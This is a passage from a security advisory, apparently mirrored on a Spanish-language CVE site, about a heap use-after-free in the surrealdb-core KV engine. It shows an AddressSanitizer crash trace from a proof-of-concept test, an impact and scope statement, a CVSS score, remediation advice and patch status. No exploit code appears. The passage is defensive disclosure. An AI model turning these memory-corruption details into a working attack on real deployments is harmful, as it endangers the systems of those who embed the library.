#17 0x56ba19cbd73a in std::panic::catch_unwind::<core::panic::unwind_safe::AssertUnwindSafe<test::run_test_in_process::{closure#0}>, core::result::Result<(), alloc::string::String>> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panic.rs:359:14
#18 0x56ba19cbd73a in test::run_test_in_process /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:686:27
#19 0x56ba19cbd73a in test::run_test::{closure#0} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:607:43
#20 0x56ba19cb7b93 in test::run_test::{closure#1} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:637:41
#21 0x56ba19cb7b93 in std::sys::backtrace::__rust_begin_short_backtrace::<test::run_test::{closure#1}, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/sys/backtrace.rs:166:18
#22 0x56ba19cc0341 in std::thread::lifecycle::spawn_unchecked::<test::run_test::{closure#1}, ()>::{closure#1}::{closure#0} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/thread/lifecycle.rs:91:13
#23 0x56ba19cc0341 in <core::panic::unwind_safe::AssertUnwindSafe<std::thread::lifecycle::spawn_unchecked<test::run_test::{closure#1}, ()>::{closure#1}::{closure#0}> as core::ops::function::FnOnce<()>>::call_once /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/panic/unwind_safe.rs:275:9
#24 0x56ba19cc0341 in std::panicking::catch_unwind::do_call::<core::panic::unwind_safe::AssertUnwindSafe<std::thread::lifecycle::spawn_unchecked<test::run_test::{closure#1}, ()>::{closure#1}::{closure#0}>, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panicking.rs:581:40
#25 0x56ba19cc0341 in std::panic::catch_unwind::<(), core::panic::unwind_safe::AssertUnwindSafe<std::thread::lifecycle::spawn_unchecked<test::run_test::{closure#1}, ()>::{closure#1}::{closure#0}>> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panicking.rs:544:19
#26 0x56ba19cc0341 in std::panic::catch_unwind::<core::panic::unwind_safe::AssertUnwindSafe<std::thread::lifecycle::spawn_unchecked<test::run_test::{closure#1}, ()>::{closure#1}::{closure#0}>, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panic.rs:359:14
#27 0x56ba19cc0341 in std::thread::lifecycle::spawn_unchecked::<test::run_test::{closure#1}, ()>::{closure#1} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/thread/lifecycle.rs:89:26
#28 0x56ba19cc0341 in <std::thread::lifecycle::spawn_unchecked::<test::run_test::{closure#1}, ()>::{closure#1} as core::ops::function::FnOnce<()>>::call_once::{shim:vtable#0} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/ops/function.rs:250:5
#29 0x56ba213f986e in <alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output = ()> + core::marker::Send> as core::ops::function::FnOnce<()>>::call_once /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/alloc/src/boxed.rs:2259:9
#30 0x56ba213f986e in <std::sys::thread::unix::Thread>::new::thread_start /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/sys/thread/unix.rs:118:17
#31 0x56ba19c148a6 in asan_thread_start(void*) /rustc/llvm/src/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:246:28
Thread T194 created by T1 here:
#0 0x56ba19bfa7a1 in pthread_create /rustc/llvm/src/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:257:3
#1 0x56ba213d9fa0 in <std::sys::thread::unix::Thread>::new /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/sys/thread/unix.rs:98:19
#2 0x56ba1f570694 in std::thread::lifecycle::spawn_unchecked::<<affinitypool::Threadpool>::spin_up::{closure#0}, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/thread/lifecycle.rs:137:26
#3 0x56ba1f553498 in <std::thread::builder::Builder>::spawn_unchecked::<<affinitypool::Threadpool>::spin_up::{closure#0}, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/thread/builder.rs:261:32
#4 0x56ba1f55367d in <std::thread::builder::Builder>::spawn::<<affinitypool::Threadpool>::spin_up::{closure#0}, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/thread/builder.rs:191:23
#5 0x56ba1f560d52 in <affinitypool::builder::Builder>::build /home/verifier/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/affinitypool-0.7.0/src/builder.rs:173:5
#6 0x56ba1f0fa623 in surrealdb_core::kvs::threadpool::initialise /repo/surrealdb/core/src/kvs/threadpool.rs:39:19
#7 0x56ba19c6357a in <surrealdb_core::CommunityComposer as surrealdb_core::kvs::ds::TransactionBuilderFactory>::new_transaction_builder::{closure#0} /repo/surrealdb/core/src/kvs/ds.rs:661:6
#8 0x56ba19c82a94 in <surrealdb_core::kvs::ds::builder::Builder>::build_with_factory_path_and_router_state::<surrealdb_core::CommunityComposer>::{closure#0} /repo/surrealdb/core/src/kvs/ds/builder.rs:224:90
#9 0x56ba19c815e3 in <surrealdb_core::kvs::ds::builder::Builder>::build_with_factory_path::<surrealdb_core::CommunityComposer>::{closure#0} /repo/surrealdb/core/src/kvs/ds/builder.rs:203:86
#10 0x56ba19c85ad1 in <surrealdb_core::kvs::ds::builder::Builder>::build_with_path::{closure#0} /repo/surrealdb/core/src/kvs/ds/builder.rs:196:59
#11 0x56ba19c99337 in f1_public_api_leak_uaf::f1_public_api_transactor_count_leak_uaf::{closure#0} /repo/surrealdb/core/tests/f1_public_api_leak_uaf.rs:83:36
#12 0x56ba19c90256 in <core::pin::Pin<&mut dyn core::future::future::Future<Output = ()>> as core::future::future::Future>::poll /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/future/future.rs:133:9
#13 0x56ba19c8d2c4 in <tokio::runtime::context::blocking::BlockingRegionGuard>::block_on::<core::pin::Pin<&mut dyn core::future::future::Future<Output = ()>>> /home/verifier/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.52.3/src/runtime/context/blocking.rs:66:14
#14 0x56ba19c8c17c in <tokio::runtime::scheduler::multi_thread::MultiThread>::block_on::<core::pin::Pin<&mut dyn core::future::future::Future<Output = ()>>> /home/verifier/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.52.3/src/runtime/scheduler/multi_thread/mod.rs:91:9
#15 0x56ba19c55080 in <tokio::runtime::runtime::Runtime>::block_on::<core::pin::Pin<&mut dyn core::future::future::Future<Output = ()>>> /home/verifier/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.52.3/src/runtime/runtime.rs:345:18
#16 0x56ba19c8db6a in f1_public_api_leak_uaf::f1_public_api_transactor_count_leak_uaf /repo/surrealdb/core/tests/f1_public_api_leak_uaf.rs:127:6
#17 0x56ba19c97f62 in f1_public_api_leak_uaf::f1_public_api_transactor_count_leak_uaf::{closure#0} /repo/surrealdb/core/tests/f1_public_api_leak_uaf.rs:77:51
#18 0x56ba19cbd73a in test::run_test_in_process::{closure#0} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:686:74
#19 0x56ba19cbd73a in <core::panic::unwind_safe::AssertUnwindSafe<test::run_test_in_process::{closure#0}> as core::ops::function::FnOnce<()>>::call_once /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/panic/unwind_safe.rs:275:9
#20 0x56ba19cbd73a in std::panicking::catch_unwind::do_call::<core::panic::unwind_safe::AssertUnwindSafe<test::run_test_in_process::{closure#0}>, core::result::Result<(), alloc::string::String>> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panicking.rs:581:40
#21 0x56ba19cbd73a in std::panic::catch_unwind::<core::result::Result<(), alloc::string::String>, core::panic::unwind_safe::AssertUnwindSafe<test::run_test_in_process::{closure#0}>> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panicking.rs:544:19
#22 0x56ba19cbd73a in std::panic::catch_unwind::<core::panic::unwind_safe::AssertUnwindSafe<test::run_test_in_process::{closure#0}>, core::result::Result<(), alloc::string::String>> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panic.rs:359:14
#23 0x56ba19cbd73a in test::run_test_in_process /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:686:27
#24 0x56ba19cbd73a in test::run_test::{closure#0} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:607:43
#25 0x56ba19cb7b93 in test::run_test::{closure#1} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:637:41
#26 0x56ba19cb7b93 in std::sys::backtrace::__rust_begin_short_backtrace::<test::run_test::{closure#1}, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/sys/backtrace.rs:166:18
#27 0x56ba19cc0341 in std::thread::lifecycle::spawn_unchecked::<test::run_test::{closure#1}, ()>::{closure#1}::{closure#0} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/thread/lifecycle.rs:91:13
#28 0x56ba19cc0341 in <core::panic::unwind_safe::AssertUnwindSafe<std::thread::lifecycle::spawn_unchecked<test::run_test::{closure#1}, ()>::{closure#1}::{closure#0}> as core::ops::function::FnOnce<()>>::call_once /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/panic/unwind_safe.rs:275:9
#29 0x56ba19cc0341 in std::panicking::catch_unwind::do_call::<core::panic::unwind_safe::AssertUnwindSafe<std::thread::lifecycle::spawn_unchecked<test::run_test::{closure#1}, ()>::{closure#1}::{closure#0}>, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panicking.rs:581:40
#30 0x56ba19cc0341 in std::panic::catch_unwind::<(), core::panic::unwind_safe::AssertUnwindSafe<std::thread::lifecycle::spawn_unchecked<test::run_test::{closure#1}, ()>::{closure#1}::{closure#0}>> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panicking.rs:544:19
#31 0x56ba19cc0341 in std::panic::catch_unwind::<core::panic::unwind_safe::AssertUnwindSafe<std::thread::lifecycle::spawn_unchecked<test::run_test::{closure#1}, ()>::{closure#1}::{closure#0}>, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panic.rs:359:14
#32 0x56ba19cc0341 in std::thread::lifecycle::spawn_unchecked::<test::run_test::{closure#1}, ()>::{closure#1} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/thread/lifecycle.rs:89:26
#33 0x56ba19cc0341 in <std::thread::lifecycle::spawn_unchecked::<test::run_test::{closure#1}, ()>::{closure#1} as core::ops::function::FnOnce<()>>::call_once::{shim:vtable#0} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/ops/function.rs:250:5
#34 0x56ba213f986e in <alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output = ()> + core::marker::Send> as core::ops::function::FnOnce<()>>::call_once /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/alloc/src/boxed.rs:2259:9
#35 0x56ba213f986e in <std::sys::thread::unix::Thread>::new::thread_start /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/sys/thread/unix.rs:118:17
#36 0x56ba19c148a6 in asan_thread_start(void*) /rustc/llvm/src/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:246:28
Thread T1 created by T0 here:
#0 0x56ba19bfa7a1 in pthread_create /rustc/llvm/src/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:257:3
#1 0x56ba213d9fa0 in <std::sys::thread::unix::Thread>::new /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/sys/thread/unix.rs:98:19
#2 0x56ba19cc2457 in std::thread::lifecycle::spawn_unchecked::<test::run_test::{closure#1}, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/thread/lifecycle.rs:137:26
#3 0x56ba19cc2457 in <std::thread::builder::Builder>::spawn_unchecked::<test::run_test::{closure#1}, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/thread/builder.rs:261:32
#4 0x56ba19cc2457 in <std::thread::builder::Builder>::spawn::<test::run_test::{closure#1}, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/thread/builder.rs:191:23
#5 0x56ba19cc2457 in test::run_test /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:637:27
#6 0x56ba19cd4f98 in test::run_tests::<test::console::run_tests_console::{closure#2}> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:420:31
#7 0x56ba19cd4f98 in test::console::run_tests_console /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/console.rs:327:5
#8 0x56ba19cc3878 in test::test_main_with_exit_callback::<test::test_main::{closure#0}> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:160:19
#9 0x56ba19cc3878 in test::test_main /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:101:5
#10 0x56ba19cc10ca in test::test_main_static /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:183:5
#11 0x56ba19c8d672 in f1_public_api_leak_uaf::main /repo/surrealdb/core/tests/f1_public_api_leak_uaf.rs:1
#12 0x56ba19c55a8d in std::rt::lang_start::<()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/rt.rs:205:5
#13 0x56ba19c8dccd in main (/repo/target/x86_64-unknown-linux-gnu/debug/deps/f1_public_api_leak_uaf-4ec7080bd0d9d298+0x2c08ccd) (BuildId: 826a2a32f95a980dddb2d13f313b01fdb49e274b)
SUMMARY: AddressSanitizer: heap-use-after-free /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/option.rs:745:15 in <core::option::Option<surrealdb_core::kvs::rocksdb::TransactionInner>>::as_ref
Shadow bytes around the buggy address:
0x7a3bf6619880: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7a3bf6619900: fd fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa
0x7a3bf6619980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7a3bf6619a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
0x7a3bf6619a80: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
=>0x7a3bf6619b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd
0x7a3bf6619b80: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
0x7a3bf6619c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7a3bf6619c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7a3bf6619d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7a3bf6619d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==2348533==ABORTING
error: test failed, to rerun pass `-p surrealdb-core --test f1_public_api_leak_uaf`
Caused by:
process didn't exit successfully: `/repo/target/x86_64-unknown-linux-gnu/debug/deps/f1_public_api_leak_uaf-4ec7080bd0d9d298 --ignored --nocapture --test-threads=1` (exit status: 1)
verifier@host:~/repo$
````
</details>
Impact
Heap use-after-free in the core KV engine. On the pooled worker: reads of freed transaction fields and of a freed raw RocksDB snapshot pointer; a heap write when the pooled closure drops the `MutexGuard` (unlock of a freed mutex). On the cursor paths the worker also writes into freed cursor state and can invoke `&mut dyn KeyVisitor/ValVisitor` callbacks through freed state. Affected backends: `kv-rocksdb`, `kv-mem`, `kv-surrealkv`. Consequence class: in-process memory corruption (crash, data disclosure, potential code execution in the host process) for Rust embedders of `surrealdb-core` that leak a dispatched future.
Preconditions (honest scope): the caller must leak the future once; we found no existing leak site in the tree (the PoC performs the leak explicitly), and we could not make it remote/black-box triggerable — no network/SurrealQL/JS/WASM input can call `mem::forget`. Provisional scoring: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H` (High, 7.1) as an embedder-facing defect; please re-score as you see fit. Weakness: CWE-416 (primary), CWE-672 (secondary).
Suggested remediation: stop making a destructor load-bearing for memory safety — have the pool closures own their state (e.g. `Arc`-based transaction state and owned `ReadOptions`, or re-acquire state inside the closure) so a leaked future can at most leak memory; short term, upgrade to the `affinitypool` release that makes `spawn_local` `unsafe` and wrap the call sites in documented `unsafe` blocks with one regression test each.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
crates.iosurrealdb |
Corregida | 3.3.0 | -25 d | 4.0.1 no afectada |
3.3.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/surrealdb/surrealdb/security/advisories/GHSA-pm86-cc75-q463Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
